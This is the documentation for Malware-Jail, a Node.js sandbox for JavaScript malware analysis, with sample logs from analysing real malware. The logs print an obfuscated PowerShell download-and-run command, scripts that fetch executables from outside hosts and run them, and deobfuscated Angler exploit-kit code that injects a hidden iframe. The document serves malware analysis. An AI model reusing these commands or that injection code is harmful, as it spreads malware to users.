Malware-Jail - Tool For Javascript Malware Analysis, Deobfuscation and Payload Extraction

Malware-Jail - Tool For Javascript Malware Analysis, Deobfuscation and Payload Extraction

Malware-Jail is a sandbox for semi-automatic Javascript malware analysis, deobfuscation and payload extraction. It is written for Node.js.

It runs on any operating system. Developed and tested on Linux, Node.js v6.6.0.

Note: Due to use of some ES6 features, you'll need Node.js >= 6.x.

Malware-Jail is written for Node's 'vm' sandbox. Currently implements WScript (Windows Scripting Host) context  env/wscript.js , at least the part frequently used by malware. Internet browser context is partialy implemented  env/browser.js .


How To Install Malware-Jail

You'll need Node.js and npm installed. Because malware-jail is built on top of minimist, iconv-lite and entities.

Pull from GitHub

Pull the source with git:
git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail

Then install all the dependecies (minimist, entities, iconv-lite) with:
npm install


Usage

bash@linux# node jailme.js -h -b list
7 May 20:54:52 - mailware-jail, a malware sandbox ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Usage: node jailme.js  [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 -                [-o ofile] [-b id] \
7 May 20:54:52 -                [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 -        -c config .. use alternative config file, preceed with ./
7 May 20:54:52 -        -e ifile ... js that simulates specific environment
7 May 20:54:52 -        -o ofile ... name of the file where sandbox shall be dumped at the end
7 May 20:54:52 -        -s odir  ... output directory for generated files (malware payload)
7 May 20:54:52 -        -b id    ... browser type, use -b list for possible values
7 May 20:54:52 -        -t msecs ... number of miliseconds before terminating execution, default 1 minute
7 May 20:54:52 -        --trace  ... print stack trace with every log line
7 May 20:54:52 -        --down   ... allow downloading malware payloads from remote servers
7 May 20:54:52 -        --h404   ... on download return always HTTP/404
7 May 20:54:52 -        malware  ... js with the malware code
7 May 20:54:52 - If no arguments are specified the default values are taken from config.json
7 May 20:54:52 - Possible -b values: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]

In the examples folder you may find a deactivated malware file. Run the analysis with:
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js

Internet browser based malware you may test with
node jailme.js -b IE11_W10 malware/example_browser.js

At the end of the analysis the complete sandbox context is dumped into a 'sandbox_dump_after.json' file.

You may want to examine following entries of 'sandbox_dump_after.json':
  • eval_calls - array of all eval() calls arguments. Useful if eval() is used for deobfucation.
  • wscript_saved_files - content of all files that the malware attempted to drop. The actual files are saved into the output/ directory too.
  • wscript_urls - all URLs that the malware intended to GET or POST.
  • wscript_objects - WScript or ActiveX objects created.
'sandbox_dump_after.json' uses JSONPath, implemented by JSON-js/cycle.js, to save duplicated or cyclic references to a same object.


Sample Output

bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Malware sandbox ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Malware files: malware/example.js
11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json
11 Jan 00:06:24 - Output directory for generated files: output/
11 Jan 00:06:24 - ==> Preparing Sandbox environment.
11 Jan 00:06:24 -  => Executing: env/eval.js
11 Jan 00:06:24 - Preparing sandbox to intercept eval() calls.
11 Jan 00:06:24 -  => Executing: env/wscript.js
11 Jan 00:06:24 - Preparing sandbox to emulate WScript environment.
11 Jan 00:06:24 - ==> Executing malware file(s).
11 Jan 00:06:24 -  => Executing: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Created: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Created: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Not sending data, if you want to interract with remote server, set --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Calling onreadystatechange() with dummy data
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Created: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Script execution finished, dumping sandbox environment to a file.
11 Jan 00:08:42 - Saving: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Saving: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - The sandbox context has been  saved to: sandbox_dump_after.json

In the above example the payload has been extracted into output/_TEMP__49629482.dll and output/_TEMP__38611354.pdf

Examples

The malware folder contains real-world malware samples. Most of them downloaded from https://malwr.com.


Example: Analysing Wileen.js

Taking malicious script from malwr.com: Wileen.js

Apparently the malware does not execute if run from within a browser:
if (typeof document == "undefined") {

Therefore you may want to use an alternate config filem which does not load browser/DOM components:
node jailme.js --down=y -c ./config_wscript_only.json  malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js

Interesting use of Powershell:
1 Oct 13:05:34 -  => Executing: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
1 Oct 13:05:34 - ActiveXObject(WScRipT.SHEll)
1 Oct 13:05:34 - Created: WScript.Shell[1]
1 Oct 13:05:34 - WScript.Shell[1].Run(cmD.EXE /c POWE^R^s^he^lL.eXE     -ExEc^U^Tio^n^p^oLIC^y^   B^Y^pas^S -NOpro^Fi^L^e^    -^W^InD^Ow^sT^yle^  HI^ddeN^  (^Ne^W^-^OBJ^ecT^     S^YST^EM.net.Webc^L^I^E^n^T^).^dOWn^L^Oa^d^fI^lE^(^'http://click.doubledating.ru/js/boxun4.bin','%appdatA%.exE')^;^stA^Rt-^p^rO^c^eS^s  ^'%aPpdata%.eXe', false, undefined)
1 Oct 13:05:34 - ==> Cleaning up sandbox.
1 Oct 13:05:34 - ==> Script execution finished, dumping sandbox environment to a file.
1 Oct 13:05:34 - The sandbox context has been  saved to: sandbox_dump_after.json


Example: Analysing ORDER-10455.js

Taking malicious JavaScript from malwr.com: ORDER-10455.js

First run without interaction with remote servers:
node jailme.js malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js

you get something like:
... 
29 Sep 23:17:21 - Calling eval() no.: 5
29 Sep 23:17:21 - ActiveXObject(MSXML2.XMLHTTP)
29 Sep 23:17:21 - Created: MSXML2.XMLHTTP[9]
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].open(GET,http://caopdjow.top/user.php?f=0.dat,false)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9] Not sending data, if you want to interact with remote server, set --down=y
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].responseBody = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status = '200'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined) finished
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status.get() => 200
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - ActiveXObject(Scripting.FileSystemObject)
29 Sep 23:17:21 - Scripting.FileSystemObject[10] created.
29 Sep 23:17:21 - Scripting.FileSystemObject[10].GetSpecialFolder(2)
29 Sep 23:17:21 - ActiveXObject(ADODB.Stream)
29 Sep 23:17:21 - Created: ADODB_Stream[11]
29 Sep 23:17:21 - ADODB_Stream[11].Open()
29 Sep 23:17:21 - ADODB_Stream[11].Type = '1'
29 Sep 23:17:21 - ADODB_Stream[11].content = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)'
29 Sep 23:17:21 - ADODB_Stream[11].Write(str) - 10000 bytes
29 Sep 23:17:21 - ADODB_Stream[11].size = '10000'
29 Sep 23:17:21 - ADODB_Stream[11].Position = '0'
29 Sep 23:17:21 - ADODB_Stream[11].SaveToFile(Special_Folder__2\w8z05i7y2.exe, 2)
29 Sep 23:17:21 - ADODB_Stream[11].content.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - ADODB_Stream[11].Close()
29 Sep 23:17:21 - ActiveXObject(WScript.Shell)
29 Sep 23:17:21 - Created: WScript.Shell[12]
29 Sep 23:17:21 - WScript.Shell[12].Run(Special_Folder__2\w8z05i7y2.exe, undefined, undefined)
29 Sep 23:17:21 - Returning: 'undefined'
29 Sep 23:17:21 - ==> Cleaning up sandbox.
29 Sep 23:17:21 - ==> Script execution finished, dumping sandbox environment to a file.
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - Saving: output/Special_Folder__2_w8z05i7y2.exe
29 Sep 23:17:21 - Generated file saved
29 Sep 23:17:21 - The sandbox context has been  saved to: sandbox_dump_after.json


Seems to be a "standard" behaviour of deobfuscation in order to finally download an exe binary and execute it.

If we want to get the real payload, run it with '--down=y':
node jailme.js --down=y  malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js > malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out


Example: Analysing Norri.js

Taking malicious JavaScript from malwr.com: Norri.js

Run:
node jailme.js --down=y malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js

you get: 
30 Sep 01:02:11 -  => Executing: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js
30 Sep 01:02:11 - Strict mode: false
30 Sep 01:02:11 - Calling eval() no.: 1
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Created: WScript.Shell[9]
30 Sep 01:02:11 - WScript.SpecialFolders(Desktop)
30 Sep 01:02:11 - WScript.CreateShortcut(Desktop/?eno.lnk)
30 Sep 01:02:11 - Created: WshShortcut[10](Desktop/?eno.lnk)
30 Sep 01:02:11 - WshShortcut[10](Desktop/?eno.lnk).FullName.get() => Desktop/?eno.lnk
30 Sep 01:02:11 - WScript.CreateObject(Scripting.FileSystemObject)
30 Sep 01:02:11 - Scripting.FileSystemObject[11] created.
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Created: WScript.Shell[12]
30 Sep 01:02:11 - WScript.CreateObject(MSXML2.XMLHTTP)
30 Sep 01:02:11 - Created: MSXML2.XMLHTTP[13]
30 Sep 01:02:11 - WScript.CreateObject(ADODB.Stream)
30 Sep 01:02:11 - Created: ADODB_Stream[14]
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetSpecialFolder(2) => TemporaryFolder/
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetTempName() => TempFile[15]
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].open(GET,http://girlx.tornadodating.ru/js/boxun4.bin,0)
30 Sep 01:02:11 - MSXML2.XMLHTTP[13] string true
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async = 'false'
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async.get() => false
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].send(undefined)
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange(), readyState = 4 length: 196608 status: 200
30 Sep 01:02:15 - MSXML2.XMLHTTP[13] statusText = null
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].responseBody = 'MZ?@?!?L?!This program cannot be ... (truncated)'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].status = '200'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange() undefined
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].send(undefined) finished
30 Sep 01:02:15 - ADODB_Stream[14].type = '1'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:15 - ADODB_Stream[14].Open()
30 Sep 01:02:15 - ADODB_Stream[14].content = 'MZ?@?!?L?!This program cannot be ... (truncated)'
30 Sep 01:02:15 - ADODB_Stream[14].Write(str) - 196608 bytes
30 Sep 01:02:15 - ADODB_Stream[14].size = '196608'
30 Sep 01:02:15 - ADODB_Stream[14].SaveToFile(TemporaryFolder/TempFile[15], undefined)
30 Sep 01:02:15 - ADODB_Stream[14].content.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:15 - ADODB_Stream[14].Close()
30 Sep 01:02:15 - WScript.Shell[12].Run(cmd.exe /c TemporaryFolder/TempFile[15], 0, undefined)
30 Sep 01:02:15 - Scripting.FileSystemObject[11].DeleteFile(script_full_name.js)
30 Sep 01:02:15 - ==> Cleaning up sandbox.
30 Sep 01:02:15 - ==> Script execution finished, dumping sandbox environment to a file.
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:16 - Saving: output/TemporaryFolder_TempFile[15]
30 Sep 01:02:16 - Generated file saved
30 Sep 01:02:16 - The sandbox context has been  saved to: sandbox_dump_after.json
Behaviour is obvious from the log. Payload has been extracted into the output/TemporaryFolder_TempFile[15] file.


Example: Analysing Angler EK

Download and extract Angler EK from a pcap file at ANGLER EK SENDS CRYPTOWALL into a malware/angler/angler_full.html.

Strip the non Angler part and save as malware/angler/angler_stripped.html.

Remove  <script>  tags and convert required  <div>  tags into:
document._addElementById(id, content);
and save as malware/angler/angler.js.

Run the analysis:
node jailme.js malware/angler/angler.js

Eventually capture the output into angler_output.txt:
node jailme.js malware/angler/angler.js > malware/angler/angler_output.txt

Deobfuscating the final stage:
function() {
    if (document.body != null && typeof document.body != "undefined") {
        clearInterval(zfxhYOGvfrlHUNJrZufQnWPtohkYAQEEdV);
        if (typeof window["v_bcd50d9482665cd4e129a272c76799e6"] == "undefined") {
            window["v_bcd50d9482665cd4e129a272c76799e6"] = 1;
            var YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr = (DfPJmMLOnxPanSoeHQuOrDdSoCPJGAaRhYURtgyUD() && CCtJDLZQbieboJvsIyatBMZhUvTpzaQcyCXR());
            var YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW = !YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !!window.chrome && window.navigator.vendor === "Google Inc.";
            var rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia = -1;
            var NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS = "http://beladonna33.ga/052F";
            if (hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW() && rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia == 1) {
                if ((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) {
                    location.replace(NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS)
                } else {
                    window.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS;
                    document.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS
                }
            } else {
                if ((YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW && !hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW())) {
                    var blDiNORLBvDHjFRqgxXSMVgnfhriGmw = "<div style=\"position:absolute;left:-2808px;\"><iframe width=\"27px\" src=\"" + NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS + "\" height=\"27px\"></iframe></div>";
                    var wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL = document.getElementsByTagName("div");
                    if (wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length == 0) {
                        document.body.innerHTML = document.body.innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw
                    } else {
                        var dl_name = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length;
                        var eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc = Math.floor((dl_name / 2));
                        wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw
                    }
                }
            }
        }
        OncYaaSjwrEWhyHWevaHtkypMUSZxnIrtIK()
    }
}



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